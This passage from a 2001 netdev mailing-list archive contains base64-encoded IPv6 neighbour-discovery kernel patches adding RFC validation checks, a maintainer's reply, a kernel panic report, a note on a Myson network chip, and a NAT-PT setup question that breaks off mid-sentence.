IHsNCi0JCXByaW50ayhLRVJOX1dBUk5JTkcgIk5ESVNDOiBmYWtlIElDTVAg cmVkaXJlY3QgcmVjZWl2ZWRcbiIpOw0KLQkJcmV0dXJuOw0KLQl9DQotDQog CWlmICghKGlwdjZfYWRkcl90eXBlKCZza2ItPm5oLmlwdjZoLT5zYWRkcikg JiBJUFY2X0FERFJfTElOS0xPQ0FMKSkgew0KLQkJcHJpbnRrKEtFUk5fV0FS TklORyAiSUNNUCByZWRpcmVjdDogc291cmNlIGFkZHJlc3MgaXMgbm90IGxp bmtsb2NhbFxuIik7DQorCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCXBy aW50ayhLRVJOX1dBUk5JTkcgIklDTVAgcmVkaXJlY3Q6IHNvdXJjZSBhZGRy ZXNzIGlzIG5vdCBsaW5rbG9jYWxcbiIpOw0KIAkJcmV0dXJuOw0KIAl9DQog DQpAQCAtNzcwLDcgKzc2Nyw4IEBADQogCW9wdGxlbiAtPSBzaXplb2Yoc3Ry dWN0IGljbXA2aGRyKSArIDIgKiBzaXplb2Yoc3RydWN0IGluNl9hZGRyKTsN CiANCiAJaWYgKG9wdGxlbiA8IDApIHsNCi0JCXByaW50ayhLRVJOX1dBUk5J TkcgIklDTVAgcmVkaXJlY3Q6IHBhY2tldCB0b28gc21hbGxcbiIpOw0KKwkJ aWYgKG5ldF9yYXRlbGltaXQoKSkNCisJCQlwcmludGsoS0VSTl9XQVJOSU5H ICJJQ01QIHJlZGlyZWN0OiBwYWNrZXQgdG9vIHNtYWxsXG4iKTsNCiAJCXJl dHVybjsNCiAJfQ0KIA0KQEAgLTc3OSwxNCArNzc3LDE2IEBADQogCWRlc3Qg PSB0YXJnZXQgKyAxOw0KIA0KIAlpZiAoaXB2Nl9hZGRyX3R5cGUoZGVzdCkg JiBJUFY2X0FERFJfTVVMVElDQVNUKSB7DQotCQlwcmludGsoS0VSTl9XQVJO SU5HICJJQ01QIHJlZGlyZWN0IGZvciBtdWx0aWNhc3QgYWRkclxuIik7DQor CQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCXByaW50ayhLRVJOX1dBUk5J TkcgIklDTVAgcmVkaXJlY3QgZm9yIG11bHRpY2FzdCBhZGRyXG4iKTsNCiAJ CXJldHVybjsNCiAJfQ0KIA0KIAlpZiAoaXB2Nl9hZGRyX2NtcChkZXN0LCB0 YXJnZXQpID09IDApIHsNCiAJCW9uX2xpbmsgPSAxOw0KIAl9IGVsc2UgaWYg KCEoaXB2Nl9hZGRyX3R5cGUodGFyZ2V0KSAmIElQVjZfQUREUl9MSU5LTE9D QUwpKSB7DQotCQlwcmludGsoS0VSTl9XQVJOSU5HICJJQ01QIHJlZGlyZWN0 OiB0YXJnZXQgYWRkcmVzcyBpcyBub3QgbGlua2xvY2FsXG4iKTsNCisJCWlm IChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJcHJpbnRrKEtFUk5fV0FSTklORyAi SUNNUCByZWRpcmVjdDogdGFyZ2V0IGFkZHJlc3MgaXMgbm90IGxpbmtsb2Nh bFxuIik7DQogCQlyZXR1cm47DQogCX0NCiANCkBAIC05NzQsOCArOTc0LDM0 IEBADQogDQogCV9fc2tiX3B1c2goc2tiLCBza2ItPmRhdGEtc2tiLT5oLnJh dyk7DQogDQorCWlmIChza2ItPm5oLmlwdjZoLT5ob3BfbGltaXQgIT0gMjU1 KSB7DQorCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCXByaW50ayhLRVJO X1dBUk5JTkcNCisJCQkgICAgICAgIklDTVAgTkRJU0M6IGZha2UgbWVzc2Fn ZSB3aXRoIG5vbi0yNTUgSG9wIExpbWl0IHJlY2VpdmVkOiAlZFxuIiwNCisJ CQkgICAgICAgCQlza2ItPm5oLmlwdjZoLT5ob3BfbGltaXQpOw0KKwkJcmV0 dXJuIDA7DQorCX0NCisNCisJaWYgKG1zZy0+aWNtcGguaWNtcDZfY29kZSAh PSAwKSB7DQorCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCXByaW50ayhL RVJOX1dBUk5JTkcgIklDTVAgTkRJU0M6IGNvZGUgaXMgbm90IHplcm9cbiIp Ow0KKwkJcmV0dXJuIDA7DQorCX0NCisNCiAJc3dpdGNoIChtc2ctPmljbXBo LmljbXA2X3R5cGUpIHsNCiAJY2FzZSBORElTQ19ORUlHSEJPVVJfU09MSUNJ VEFUSU9OOg0KKwkJaWYgKHNrYi0+bmguaXB2NmgtPnBheWxvYWRfbGVuIDwg OCsxNikgew0KKwkJCWlmIChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJCXByaW50 ayhLRVJOX1dBUk5JTkcgIklDTVAgTlM6IHBhY2tldCB0b28gc2hvcnRcbiIp Ow0KKwkJCXJldHVybiAwOw0KKwkJfQ0KKw0KKwkJaWYgKGlwdjZfYWRkcl90 eXBlKCZtc2ctPnRhcmdldCkmSVBWNl9BRERSX01VTFRJQ0FTVCkgew0KKwkJ CWlmIChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJCXByaW50ayhLRVJOX1dBUk5J TkcgIklDTVAgTlM6IHRhcmdldCBhZGRyZXNzIGlzIG11bHRpY2FzdFxuIik7 DQorCQkJcmV0dXJuIDA7DQorCQl9DQorDQogCQlpZiAoKGlmcCA9IGlwdjZf Z2V0X2lmYWRkcigmbXNnLT50YXJnZXQsIGRldikpICE9IE5VTEwpIHsNCiAJ CQlpbnQgYWRkcl90eXBlID0gaXB2Nl9hZGRyX3R5cGUoc2FkZHIpOw0KIA0K QEAgLTEwMTAsNyArMTAzNiw5IEBADQogDQogCQkJCWlwdjZfYWRkcl9hbGxf bm9kZXMoJm1hZGRyKTsNCiAJCQkJbmRpc2Nfc2VuZF9uYShkZXYsIE5VTEws ICZtYWRkciwgJmlmcC0+YWRkciwgDQotCQkJCQkgICAgICBpZnAtPmlkZXYt PmNuZi5mb3J3YXJkaW5nLCAwLCAxLCAxKTsNCisJCQkJCSAgICAgIGlmcC0+ aWRldi0+Y25mLmZvcndhcmRpbmcsIDAsIA0KKwkJCQkJICAgICAgaXB2Nl9h ZGRyX3R5cGUoJmlmcC0+YWRkcikmSVBWNl9BRERSX0FOWUNBU1QgPyAwIDog MSwgDQorCQkJCQkgICAgICAxKTsNCiAJCQkJaW42X2lmYV9wdXQoaWZwKTsN CiAJCQkJcmV0dXJuIDA7DQogCQkJfQ0KQEAgLTEwMzIsNyArMTA2MCw5IEBA DQogDQogCQkJCWlmIChuZWlnaCkgew0KIAkJCQkJbmRpc2Nfc2VuZF9uYShk ZXYsIG5laWdoLCBzYWRkciwgJmlmcC0+YWRkciwgDQotCQkJCQkJICAgICAg aWZwLT5pZGV2LT5jbmYuZm9yd2FyZGluZywgMSwgaW5jLCBpbmMpOw0KKwkJ CQkJCSAgICAgIGlmcC0+aWRldi0+Y25mLmZvcndhcmRpbmcsIDEsIA0KKwkJ CQkJCSAgICAgIGlwdjZfYWRkcl90eXBlKCZpZnAtPmFkZHIpJklQVjZfQURE Ul9BTllDQVNUID8gMCA6IDEsIA0KKwkJCQkJCSAgICAgIDEpOw0KIAkJCQkJ bmVpZ2hfcmVsZWFzZShuZWlnaCk7DQogCQkJCX0NCiAJCQl9DQpAQCAtMTA1 OSw3ICsxMDg5LDcgQEANCiANCiAJCQkJCWlmIChuZWlnaCkgew0KIAkJCQkJ CW5kaXNjX3NlbmRfbmEoZGV2LCBuZWlnaCwgc2FkZHIsICZtc2ctPnRhcmdl dCwNCi0JCQkJCQkJICAgICAgMCwgMSwgMCwgaW5jKTsNCisJCQkJCQkJICAg ICAgMCwgMSwgMCwgMSk7DQogCQkJCQkJbmVpZ2hfcmVsZWFzZShuZWlnaCk7 DQogCQkJCQl9DQogCQkJCX0gZWxzZSB7DQpAQCAtMTA3NywxMSArMTEwNywy NCBAQA0KIAkJcmV0dXJuIDA7DQogDQogCWNhc2UgTkRJU0NfTkVJR0hCT1VS X0FEVkVSVElTRU1FTlQ6DQorCQlpZiAoc2tiLT5uaC5pcHY2aC0+cGF5bG9h ZF9sZW4gPCAxNis4ICkgew0KKwkJCWlmIChuZXRfcmF0ZWxpbWl0KCkpDQor CQkJCXByaW50ayhLRVJOX1dBUk5JTkcgIklDTVAgTkE6IHBhY2tldCB0b28g c2hvcnRcbiIpOw0KKwkJCXJldHVybiAwOw0KKwkJfQ0KKw0KKwkJaWYgKGlw djZfYWRkcl90eXBlKCZtc2ctPnRhcmdldCkmSVBWNl9BRERSX01VTFRJQ0FT VCkgew0KKwkJCWlmIChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJCXByaW50ayhL RVJOX1dBUk5JTkcgIk5ESVNDIE5BOiB0YXJnZXQgYWRkcmVzcyBpcyBtdWx0 aWNhc3RcbiIpOw0KKwkJCXJldHVybiAwOw0KKwkJfQ0KKw0KIAkJaWYgKChp cHY2X2FkZHJfdHlwZShkYWRkcikmSVBWNl9BRERSX01VTFRJQ0FTVCkgJiYN CiAJCSAgICBtc2ctPmljbXBoLmljbXA2X3NvbGljaXRlZCkgew0KIAkJCU5E X1BSSU5USzAoIk5ESVNDOiBzb2xpY2l0ZWQgTkEgaXMgbXVsdGljYXN0ZWRc biIpOw0KIAkJCXJldHVybiAwOw0KIAkJfQ0KKwkJDQogCQlpZiAoKGlmcCA9 IGlwdjZfZ2V0X2lmYWRkcigmbXNnLT50YXJnZXQsIGRldikpKSB7DQogCQkJ aWYgKGlmcC0+ZmxhZ3MgJiBJRkFfRl9URU5UQVRJVkUpIHsNCiAJCQkJYWRk cmNvbmZfZGFkX2ZhaWx1cmUoaWZwKTsNCkBAIC0xMDkyLDcgKzExMzUsNyBA QA0KIAkJCSAgIGFib3V0IGl0LiBJdCBjb3VsZCBiZSBtaXNjb25maWd1cmF0 aW9uLCBvcg0KIAkJCSAgIGFuIHNtYXJ0IHByb3h5IGFnZW50IHRyaWVzIHRv IGhlbHAgdXMgOi0pDQogCQkJICovDQotCQkJTkRfUFJJTlRLMCgiJXM6IHNv bWVvbmUgYXZlcnRpc2Ugb3VyIGFkZHJlc3MhXG4iLA0KKwkJCU5EX1BSSU5U SzAoIiVzOiBzb21lb25lIGFkdmVydGlzZXMgb3VyIGFkZHJlc3MhXG4iLA0K IAkJCQkgICBpZnAtPmlkZXYtPmRldi0+bmFtZSk7DQogCQkJaW42X2lmYV9w dXQoaWZwKTsNCiAJCQlyZXR1cm4gMDsNCkBAIC0xMTI1LDEyICsxMTY4LDMy IEBADQogCQlicmVhazsNCiANCiAJY2FzZSBORElTQ19ST1VURVJfQURWRVJU SVNFTUVOVDoNCisJCWlmIChza2ItPm5oLmlwdjZoLT5wYXlsb2FkX2xlbiA8 IDgrNCs0KSB7DQorCQkJaWYgKG5ldF9yYXRlbGltaXQoKSkNCisJCQkJcHJp bnRrKEtFUk5fV0FSTklORyAiSUNNUCBSQTogcGFja2V0IHRvbyBzaG9ydFxu Iik7DQorCQkJcmV0dXJuIDA7DQorCQl9DQogCQluZGlzY19yb3V0ZXJfZGlz Y292ZXJ5KHNrYik7DQogCQlicmVhazsNCiANCiAJY2FzZSBORElTQ19SRURJ UkVDVDoNCisJCWlmIChza2ItPm5oLmlwdjZoLT5wYXlsb2FkX2xlbiA8IDgr MTYrMTYpIHsNCisJCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KKwkJCQlwcmlu dGsoS0VSTl9XQVJOSU5HICJJQ01QIHJlZGlyZWN0OiBwYWNrZXQgdG9vIHNo b3J0XG4iKTsNCisJCQlyZXR1cm4gMDsNCisJCX0NCiAJCW5kaXNjX3JlZGly ZWN0X3Jjdihza2IpOw0KIAkJYnJlYWs7DQorDQorCWNhc2UgTkRJU0NfUk9V VEVSX1NPTElDSVRBVElPTjoNCisJCS8qIE5vIFJTIHN1cHBvcnQgaW4gdGhl IGtlcm5lbCwgYnV0IHdlIGRvIHNvbWUgcmVxdWlyZWQgY2hlY2tzICovDQor DQorCQlpZiAoc2tiLT5uaC5pcHY2aC0+cGF5bG9hZF9sZW4gPCA4KSB7DQor CQkJaWYgKG5ldF9yYXRlbGltaXQoKSkNCisJCQkJcHJpbnRrKEtFUk5fV0FS TklORyAiSUNNUCBSUzogcGFja2V0IHRvbyBzaG9ydFxuIik7DQorCQkJcmV0 dXJuIDA7DQorCQl9DQorCQlicmVhazsNCiAJfTsNCiANCiAJcmV0dXJuIDA7 DQpAQCAtMTIyOCw3ICsxMjkxLDcgQEANCiANCiAJaWYoKGVyciA9IG9wcy0+ Y3JlYXRlKG5kaXNjX3NvY2tldCwgSVBQUk9UT19JQ01QVjYpKSA8IDApIHsN CiAJCXByaW50ayhLRVJOX0RFQlVHIA0KLQkJICAgICAgICJGYWlsZWQgdG8g aW5pdGlhbGl6ZWUgdGhlIE5ESVNDIGNvbnRyb2wgc29ja2V0IChlcnIgJWQp LlxuIiwNCisJCSAgICAgICAiRmFpbGVkIHRvIGluaXRpYWxpemUgdGhlIE5E SVNDIGNvbnRyb2wgc29ja2V0IChlcnIgJWQpLlxuIiwNCiAJCSAgICAgICBl cnIpOw0KIAkJc29ja19yZWxlYXNlKG5kaXNjX3NvY2tldCk7DQogCQluZGlz Y19zb2NrZXQgPSBOVUxMOyAvKiBGb3Igc2FmZXR5LiAqLw0K --1589707168-1641526534-989081707=:21104 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="ndisc-comments.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="ndisc-comments.diff" LS0tIG5kaXNjLmMJU2F0IE1heSAgNSAxODozMzoyOSAyMDAxDQorKysgbmRp c2MuYy5mdWxsCVNhdCBNYXkgIDUgMTk6NDY6MTggMjAwMQ0KQEAgLTc5OCw2 ICs3OTgsMTEgQEANCiAJCXJldHVybjsNCiAJfQ0KIA0KKwkvKiBYWFg6IFJG QzI0NjEgOC4xOiANCisJICoJVGhlIElQIHNvdXJjZSBhZGRyZXNzIG9mIHRo ZSBSZWRpcmVjdCBNVVNUIGJlIHRoZSBzYW1lIGFzIHRoZSBjdXJyZW50DQor CSAqCWZpcnN0LWhvcCByb3V0ZXIgZm9yIHRoZSBzcGVjaWZpZWQgSUNNUCBE ZXN0aW5hdGlvbiBBZGRyZXNzLg0KKwkgKi8NCisJCQ0KIAkvKiBwYXNzZWQg dmFsaWRhdGlvbiB0ZXN0cyAqLw0KIA0KIAkvKg0KQEAgLTk4OCw4ICs5OTMs MTQgQEANCiAJCXJldHVybiAwOw0KIAl9DQogDQorCS8qIFhYWDogUkZDMjQ2 MSBWYWxpZGF0aW9uIG9mIFthbGwgbmRpc2MgbWVzc2FnZXNdOg0KKwkgKglB bGwgaW5jbHVkZWQgbmRpc2Mgb3B0aW9ucyBNVVNUIGJlIG9mIG5vbi16ZXJv IGxlbmd0aA0KKwkgKgkoU29tZSBjaGVja2luZyBpbiBuZGlzY19maW5kX29w dGlvbikNCisJICovDQorDQogCXN3aXRjaCAobXNnLT5pY21waC5pY21wNl90 eXBlKSB7DQogCWNhc2UgTkRJU0NfTkVJR0hCT1VSX1NPTElDSVRBVElPTjoN CisJCS8qIFhYWDogaW1wb3J0IG5kX25laWdoYm9yX3NvbGljaXQgZnJvbSBn bGliYyBuZXRpbmV0L2ljbXA2LmggKi8NCiAJCWlmIChza2ItPm5oLmlwdjZo LT5wYXlsb2FkX2xlbiA8IDgrMTYpIHsNCiAJCQlpZiAobmV0X3JhdGVsaW1p dCgpKQ0KIAkJCQlwcmludGsoS0VSTl9XQVJOSU5HICJJQ01QIE5TOiBwYWNr ZXQgdG9vIHNob3J0XG4iKTsNCkBAIC0xMDAyLDYgKzEwMTMsMTggQEANCiAJ CQlyZXR1cm4gMDsNCiAJCX0NCiANCisJCS8qIFhYWDogUkZDMjQ2MSA3LjEu MToNCisJCSAqIAlJZiB0aGUgSVAgc291cmNlIGFkZHJlc3MgaXMgdGhlIHVu c3BlY2lmaWVkIGFkZHJlc3MsIHRoZXJlDQorCQkgKglNVVNUIE5PVCBiZSBz b3VyY2UgbGluay1sYXllciBhZGRyZXNzIG9wdGlvbiBpbiB0aGUgbWVzc2Fn ZS4NCisJCSAqDQorCQkgKglOT1RFISBMaW51eCBrZXJuZWwgPCAyLjQuNCBi cm9rZSB0aGlzIHJ1bGUuDQorCQkgKi8NCisJCSAJDQorCQkvKiBYWFg6IFJG QzI0NjEgNy4xLjE6DQorCQkgKglJZiB0aGUgSVAgc291cmNlIGFkZHJlc3Mg aXMgdGhlIHVuc3BlY2lmaWVkIGFkZHJlc3MsIHRoZSBJUA0KKyAgICAgIAkJ ICoJZGVzdGluYXRpb24gYWRkcmVzcyBNVVNUIGJlIGEgc29saWNpdGVkLW5v ZGUgbXVsdGljYXN0IGFkZHJlc3MuDQorCQkgKi8NCisNCiAJCWlmICgoaWZw ID0gaXB2Nl9nZXRfaWZhZGRyKCZtc2ctPnRhcmdldCwgZGV2KSkgIT0gTlVM TCkgew0KIAkJCWludCBhZGRyX3R5cGUgPSBpcHY2X2FkZHJfdHlwZShzYWRk cik7DQogDQpAQCAtMTEwNyw2ICsxMTMwLDcgQEANCiAJCXJldHVybiAwOw0K IA0KIAljYXNlIE5ESVNDX05FSUdIQk9VUl9BRFZFUlRJU0VNRU5UOg0KKwkJ LyogWFhYOiBpbXBvcnQgbmRfbmVpZ2hib3JfYWR2ZXJ0IGZyb20gZ2xpYmMg bmV0aW5ldC9pY21wNi5oICovDQogCQlpZiAoc2tiLT5uaC5pcHY2aC0+cGF5 bG9hZF9sZW4gPCAxNis4ICkgew0KIAkJCWlmIChuZXRfcmF0ZWxpbWl0KCkp DQogCQkJCXByaW50ayhLRVJOX1dBUk5JTkcgIklDTVAgTkE6IHBhY2tldCB0 b28gc2hvcnRcbiIpOw0KQEAgLTExNjgsNiArMTE5Miw3IEBADQogCQlicmVh azsNCiANCiAJY2FzZSBORElTQ19ST1VURVJfQURWRVJUSVNFTUVOVDoNCisJ CS8qIFhYWDogaW1wb3J0IG5kX3JvdXRlcl9hZHZlcnQgZnJvbSBnbGliYyBu ZXRpbmV0L2ljbXA2LmggKi8NCiAJCWlmIChza2ItPm5oLmlwdjZoLT5wYXls b2FkX2xlbiA8IDgrNCs0KSB7DQogCQkJaWYgKG5ldF9yYXRlbGltaXQoKSkN CiAJCQkJcHJpbnRrKEtFUk5fV0FSTklORyAiSUNNUCBSQTogcGFja2V0IHRv byBzaG9ydFxuIik7DQpAQCAtMTE3Nyw2ICsxMjAyLDcgQEANCiAJCWJyZWFr Ow0KIA0KIAljYXNlIE5ESVNDX1JFRElSRUNUOg0KKwkJLyogWFhYOiBpbXBv cnQgbmRfcmVkaXJlY3QgZnJvbSBnbGliYyBuZXRpbmV0L2ljbXA2LmggKi8N CiAJCWlmIChza2ItPm5oLmlwdjZoLT5wYXlsb2FkX2xlbiA8IDgrMTYrMTYp IHsNCiAJCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0KIAkJCQlwcmludGsoS0VS Tl9XQVJOSU5HICJJQ01QIHJlZGlyZWN0OiBwYWNrZXQgdG9vIHNob3J0XG4i KTsNCkBAIC0xMTg4LDYgKzEyMTQsNyBAQA0KIAljYXNlIE5ESVNDX1JPVVRF Ul9TT0xJQ0lUQVRJT046DQogCQkvKiBObyBSUyBzdXBwb3J0IGluIHRoZSBr ZXJuZWwsIGJ1dCB3ZSBkbyBzb21lIHJlcXVpcmVkIGNoZWNrcyAqLw0KIA0K KwkJLyogWFhYOiBpbXBvcnQgbmRfcm91dGVyX3NvbGljaXQgZnJvbSBnbGli YyBuZXRpbmV0L2ljbXA2LmggKi8NCiAJCWlmIChza2ItPm5oLmlwdjZoLT5w YXlsb2FkX2xlbiA8IDgpIHsNCiAJCQlpZiAobmV0X3JhdGVsaW1pdCgpKQ0K IAkJCQlwcmludGsoS0VSTl9XQVJOSU5HICJJQ01QIFJTOiBwYWNrZXQgdG9v IHNob3J0XG4iKTsNCg== --1589707168-1641526534-989081707=:21104-- From owner-netdev@oss.sgi.com Sat May 5 16:39:07 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f45Nd7r22486 for netdev-outgoing; Sat, 5 May 2001 16:39:07 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f45Nd6F22483 for ; Sat, 5 May 2001 16:39:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA03862; Sat, 5 May 2001 16:38:58 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15092.36626.677713.912524@pizda.ninka.net> Date: Sat, 5 May 2001 16:38:58 -0700 (PDT) To: Pekka Savola Cc: Subject: Re: PATCH: IPv6 ndisc.c: rfc fixes, net_ratelimit(), typos In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Pekka Savola writes: > Attached are two patches against ~2.4.4 net/ipv6/ndisc.c. First is a real > patch, the second is just commentary based on top of the first one. It > documents a few MUST RFC-incompliances (feel free to check/fix! :-) I came > across in the whereabouts they could be dealt with. I'll continue > checking against that RFC in two weeks when I have more time. I've applied your patch, thanks. Two issues, one minor: 1) Please make patches relative to the top-level tree, this makes my work a lot easier and Linus prefers patches in this format too. Ie. if your tree is at /usr/src/linux make your patch while /usr/src is your cwd. 2) A lot things we are printing warning messages for ought to eventually just be statistic counter increments. For example, the short neighbour messages etc. For now, I'll leave this as it might help debug things if the kernel complains into logs. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Mon May 7 08:11:14 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f47FBEK11594 for netdev-outgoing; Mon, 7 May 2001 08:11:14 -0700 Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f47FAxF11590 for ; Mon, 7 May 2001 08:10:59 -0700 Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id RAA159590; Mon, 7 May 2001 17:10:02 +0200 From: stefan.steinert@de.ibm.com Received: from d12mta05.de.ibm.com (d12mta05_cs0 [9.165.222.239]) by d12relay01.de.ibm.com (8.8.8m3/NCO v4.96) with SMTP id RAA105042; Mon, 7 May 2001 17:09:59 +0200 Received: by d12mta05.de.ibm.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id C1256A45.00534071 ; Mon, 7 May 2001 17:09:19 +0200 X-Lotus-FromDomain: IBMDE To: linux-kernel@vger.rutgers.edu, Linus.Torvalds@Helsinki.FI, pnorton@ieee.org, netdev@oss.sgi.com, davem@redhat.com, p2@ace.ulyssis.sutdent.kuleuven.ac.be.sgi.com Message-ID: Date: Mon, 7 May 2001 16:43:27 +0200 Subject: Kernel panic in sock_rfree (intel Linux) Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, today the kernel on one of our systems crashed with a kernel panic. Hardware -------- IBM Netfinity 7000 M10 Two Intel Pentium III Xeon processors 550 MHz, 512KB Cache each 1 GB RAM IBM ServeRAID SCSI controller Olympic Token Ring card Software -------- RedHat Linux 6.2 distribution Kernel 2.2.14-5.0 (RedHat package name) Did the following kernel patches: Edited include/asm/shmparam.h. Changed _SHM_ID_BITS to 9. Edited include/linux/msg.h. Changed MSGMNI to 1024. Edited include/linux/sem.h. Changed SEMMNI to 1024 and SEMMSL to 512. Edited include/net/tcp.h. Changed TCP_SYN_RETRIES to 3 The kernel panic occured roughly 80 minutes after system start with the following message (Written down from the console by hand, might not be 100% complete) Warning: kfree_skb passed an skb still on a list (from c0096245) current->tss.cr3 = 00101000, %cr3 = 00101000 *pde = 00000000 Oops: 0002 CPU: 3 EIP: 0010:[<80151e27>] EFLAGS: 00010286 eax: 00000fd0 ebx: b3f769c0 ecx: 00020400 edx: 00000000 esi: b3f769c0 edi: 80235d84 ebp: b3f769c0 esp: 8024bf4c ds: 0018 es: 0018 ss: 0018 Process swapper (pid: 0, process nr: 0, stackpage=8024b000) Code: f0 29 42 40 c3 53 8b 5c 24 08 83 7c 24 10 00 75 08 8b 43 50 The system did quite a lot of socket operations in its 80 minutes of uptime. It port scanned a range of IP addresses. I locked up the symbol table of the running kernel as described in Documentation/oops-tracing.txt 80151d4e T sk_alloc 80151d89 T sk_free 80151e02 T sock_wfree 80151e1d T sock_rfree 80151e2c T sock_wmalloc 80151e74 T sock_rmalloc 80151ebc T sock_kmalloc The function that caused the panic seems to be sock_rfree. Following is the disasembled function taken from the kernel 0x80151e1d : mov 0x4(%esp,1),%eax 0x80151e21 : mov 0xc(%eax),%edx 0x80151e24 : mov 0x78(%eax),%eax 0x80151e27 : lock sub %eax,0x40(%edx) 0x80151e2b : ret The funtion is implemented in net/core/sock.c and looks as follows: void sock_rfree(struct sk_buff *skb) { struct sock *sk = skb->sk; atomic_sub(skb->truesize, &sk->rmem_alloc); } Now I am not sure on how to proceed. Could this be some kind of race condition that occurs on multiprocessor systems? Is this error already known? --- MfG/kind regards, Stefan Steinert IBM R&D Germany Tel.: (49) +49 7031 16 2173 Fax: (49) +49 7031 16 3328 e-mail: stefan.steinert@de.ibm.com From owner-netdev@oss.sgi.com Mon May 7 11:21:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f47ILLu17923 for netdev-outgoing; Mon, 7 May 2001 11:21:21 -0700 Received: from vaio.greennet (fan.research.microsoft.com [131.107.65.122]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f47ILKF17918 for ; Mon, 7 May 2001 11:21:20 -0700 Received: from localhost (becker@localhost) by vaio.greennet (8.9.3/8.8.7) with ESMTP id OAA01077; Mon, 7 May 2001 14:21:49 -0400 Date: Mon, 7 May 2001 14:21:32 -0400 (EDT) From: Donald Becker X-Sender: becker@vaio.greennet To: netdev@oss.sgi.com cc: realtek@scyld.com Subject: Re: [realtek] Another 8139 variant? In-Reply-To: <20010504025140.3C90115211@kuroneko> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 3 May 2001, Mark W. Eichin wrote: > 1516:0803 (vendor "MYSON Technology Inc." if lspci is to be believed) > is an "Asound" brand card with a chip labelled "Asound LAN-8139" with > a datecode of 0105. Previous cards from the same vendor (in the same > packaging, even, though we know how little *that* means in the PC > world) were "Class 0200: 10ec:8139 (rev 10)", and worked fine with the > old rtl8139 driver. After some further research, this is actually based on a new chip from Myson. It's unrelated to the Realtek chip. The design is similar to the Winbond or Via chips. Salient features are Descriptor-based bus master (unlike the rtl8139, but like most others) Requires word-aligned receive buffers 64 bit multicast hash filter Integrated on-chip transceiver with direct access to MII-like management registers Flow control, Wake-On-LAN, no QOS, no checksum, A preliminary diagnostic is named myson-diag.c at ftp://ftp.scyld.com/pub/diag/myson-diag.c Myson is working a driver based on my pci-skeleton.c, but it has some evil code (like messing directly with the timer chip). I've started on a different driver. "It definitely doesn't work" ftp://www.scyld.com/pub/network/test/myson803.c > The cards are $9 on compgeeks.com, I can supply a sample to someone in > the Boston area... I might have to buy one (grrr the shipping almost costs more than the card). Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 410 Severn Ave. Suite 210 Second Generation Beowulf Clusters Annapolis MD 21403 410-990-9993 From owner-netdev@oss.sgi.com Mon May 7 17:09:35 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4809ZY26747 for netdev-outgoing; Mon, 7 May 2001 17:09:35 -0700 Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4809YF26744 for ; Mon, 7 May 2001 17:09:34 -0700 Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4809ZQ09217 for ; Mon, 7 May 2001 17:09:35 -0700 (PDT) Received: from RSAMPRAT-W2K.cisco.com (dhcp-171-71-97-13.cisco.com [171.71.97.13]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AFH16781; Mon, 7 May 2001 17:09:28 -0700 (PDT) Message-Id: <4.3.2.7.2.20010507165643.02041610@mira-sjc5-7.cisco.com> X-Sender: rsamprat@mira-sjc5-7.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 07 May 2001 17:01:20 -0700 To: netdev@oss.sgi.com From: Ravikanth Samprathi Subject: help please - ipv4-ipv6 nat-pt linux translator Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, I have 3 hosts as follows h1------h2------h3 h1 is running both ipv4 and ipv6 stacks in linux-6.2,kernel 2.4.0, and is connected to h2. h2 is running both ipv4 and ipv6 stacks in linux 6.2, kernel 2.4.0, and is connected to h1 and h3. h3 is running ipv4 only stack and is a windows pc. i need host h1 (ipv6) to communicate with host h3 (ipv4), and vice-versa. i downloaded nat-pt translator software for linux from the following web site www.ipv6.or.kr/english/download.htm and am running the software in h2. Can somebody please answer my questions:- 1) the addresses assigned as of now to the interfaces are in the form fe80::2d0:b7ff:fe2c:acf/10. Is this a full ipv6 address? how do i assign ipv6 addresses to h1 and h2 ?? 2) what prefix do i set in the translator software? 3) how do i test if h1 and h3 are communicating? i 